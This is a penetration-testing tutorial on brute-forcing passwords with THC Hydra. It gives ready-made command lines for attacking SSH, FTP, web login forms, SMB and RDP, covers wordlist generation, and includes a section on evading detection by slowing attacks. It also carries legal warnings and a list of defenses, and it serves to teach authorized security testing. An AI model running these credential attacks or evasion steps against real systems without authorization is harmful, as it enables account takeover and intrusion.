Brute Forcing Passwords with THC Hydra

Introduction to Password Brute Force

Password brute force attacks remain one of the most common and effective attack vectors in cybersecurity. THC Hydra is a powerful, fast, and flexible login cracker that can perform rapid dictionary attacks against various network services and protocols.

Legal Warning: Only use these techniques on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.

THC Hydra Overview

THC Hydra is a parallelized login cracker that supports numerous protocols to attack. It's very fast and flexible, making it a popular choice among penetration testers and security professionals for testing authentication mechanisms.

Key Features

Support for 50+ protocols including SSH, FTP, HTTP, SMB, Telnet, and more
Multi-threaded parallel processing for faster attacks
Flexible input options for usernames and passwords
Customizable attack parameters and timing controls
Built-in modules for specific service authentication
Cross-platform compatibility (Linux, Windows, macOS)

Installation and Setup

Linux Installation

# Ubuntu/Debian
sudo apt update
sudo apt install hydra

# CentOS/RHEL/Fedora
sudo yum install hydra
# or
sudo dnf install hydra

# Arch Linux
sudo pacman -S hydra

Windows Installation

# Using Windows Subsystem for Linux (WSL)
wsl --install
# Then follow Linux installation steps

# Or download pre-compiled binaries from:
# https://github.com/vanhauser-thc/thc-hydra/releases

Basic Usage and Syntax

The basic syntax for Hydra follows this pattern:

hydra [OPTIONS] TARGET PROTOCOL

# Basic example
hydra -l username -p password target.com ssh

# Multiple usernames and passwords
hydra -L userlist.txt -P passwordlist.txt target.com ssh

Supported Services

Hydra supports a wide range of network services. Here are some of the most commonly tested protocols:

SSH Brute Force Attacks

SSH is one of the most common targets for brute force attacks. Here's how to test SSH services:

# Single user, single password
hydra -l admin -p password123 192.168.1.100 ssh

# Multiple users from file, single password
hydra -L users.txt -p password123 192.168.1.100 ssh

# Single user, multiple passwords from file
hydra -l root -P passwords.txt 192.168.1.100 ssh

# Multiple users and passwords with custom port
hydra -L users.txt -P passwords.txt -s 2222 192.168.1.100 ssh

# Verbose output with 16 parallel connections
hydra -L users.txt -P passwords.txt -t 16 -v 192.168.1.100 ssh

FTP Brute Force Attacks

# Basic FTP attack
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# FTP with custom port
hydra -L users.txt -P passwords.txt -s 2121 192.168.1.100 ftp

# Anonymous FTP check
hydra -l anonymous -p "" 192.168.1.100 ftp

HTTP Form Attacks

HTTP form attacks require more complex syntax to specify the login form details:

# HTTP POST form attack
hydra -L users.txt -P passwords.txt 192.168.1.100 \
  http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"

# HTTPS POST form attack
hydra -L users.txt -P passwords.txt -s 443 192.168.1.100 \
  https-post-form "/admin/login:user=^USER^&pass=^PASS^:Invalid credentials"

# HTTP Basic Authentication
hydra -L users.txt -P passwords.txt 192.168.1.100 http-get /admin/

# WordPress login
hydra -L users.txt -P passwords.txt 192.168.1.100 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:ERROR"

SMB/NetBIOS Attacks

# SMB/CIFS attack
hydra -L users.txt -P passwords.txt 192.168.1.100 smb

# NetBIOS attack
hydra -L users.txt -P passwords.txt 192.168.1.100 netbios

# Windows RDP attack
hydra -L users.txt -P passwords.txt rdp://192.168.1.100

Working with Wordlists

Effective wordlists are crucial for successful brute force attacks. The quality and relevance of your wordlists often determine the success of your testing.

Common Wordlist Locations

# Kali Linux default wordlists
/usr/share/wordlists/
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fasttrack.txt

# SecLists collection
/usr/share/seclists/Passwords/
/usr/share/seclists/Usernames/

# Common username lists
/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt

Creating Custom Wordlists

For targeted attacks, custom wordlists based on reconnaissance can be highly effective:

# Create username list from company info
echo -e "admin\nuser\ntest\nguest\nadministrator" > users.txt

# Generate password variants
# Using CeWL to create wordlist from website
cewl -w passwords.txt -d 2 -m 5 https://target.com

# Using Crunch to generate password patterns
crunch 8 8 -t @@@@%%%% > passwords.txt

# John the Ripper rules
john --wordlist=base.txt --rules --stdout > expanded.txt

Performance Optimization

Optimizing Hydra's performance can significantly reduce attack time while avoiding detection.

Thread and Timing Options

# Adjust number of parallel connections (default: 16)
hydra -t 32 -L users.txt -P passwords.txt target.com ssh

# Add delays between attempts (seconds)
hydra -w 2 -L users.txt -P passwords.txt target.com ssh

# Set connection timeout
hydra -c 30 -L users.txt -P passwords.txt target.com ssh

# Exit after first successful login
hydra -f -L users.txt -P passwords.txt target.com ssh

# Resume previous session
hydra -R

Output and Logging

# Verbose output
hydra -v -L users.txt -P passwords.txt target.com ssh

# Save output to file
hydra -L users.txt -P passwords.txt -o results.txt target.com ssh

# Disable progress indicator
hydra -q -L users.txt -P passwords.txt target.com ssh

# Show each attempt
hydra -V -L users.txt -P passwords.txt target.com ssh

Detection and Evasion

Understanding how to evade detection mechanisms is crucial for realistic penetration testing.

Evasion Techniques

Reduce thread count: Use fewer parallel connections (-t 1 or -t 4)
Add delays: Implement wait times between attempts (-w 5)
Randomize attempts: Use different source IPs if possible
Session management: Use -R to resume interrupted sessions
Protocol variation: Test different protocols at different times

# Slow and stealthy attack
hydra -t 1 -w 10 -L users.txt -P passwords.txt target.com ssh

# Use different source port
hydra -s 22 -L users.txt -P passwords.txt target.com ssh

Defense Strategies

Understanding defensive measures helps both in testing effectiveness and implementing proper cyber security.

Common Defense Mechanisms

Account lockout policies: Temporary or permanent account locking after failed attempts
Rate limiting: Restricting the number of login attempts per time period
IP blocking: Blacklisting source IPs after suspicious activity
CAPTCHA systems: Human verification after multiple failed attempts
Multi-factor authentication: Additional authentication factors beyond passwords
Strong password policies: Enforcing complex password requirements
Monitoring and alerting: Real-time detection of brute force attempts

Testing Tip: Always test your defensive measures by attempting brute force attacks against your own systems to ensure they're properly configured.

Legal and Ethical Considerations

Before conducting any brute force testing, ensure you have proper authorization and understand the legal implications.

Important Legal Requirements

• Only test systems you own or have written permission to test
• Obtain proper penetration testing agreements before starting
• Respect scope limitations and testing windows
• Document all activities for compliance and reporting
• Follow responsible disclosure practices for any vulnerabilities found

Conclusion

THC Hydra is a powerful tool for testing password security across various network services. When used responsibly and legally, it can help organizations identify weak authentication mechanisms and improve their overall security posture.

Remember that the goal of penetration testing is to improve security, not to cause harm. Always follow ethical hacking principles, obtain proper authorization, and use the knowledge gained to strengthen defensive measures.

Next Steps: Practice these techniques in controlled environments like personal labs or authorized training platforms. Consider exploring other password attack tools like John the Ripper and Hashcat for comprehensive testing capabilities.

Table of Contents

Tutorial Info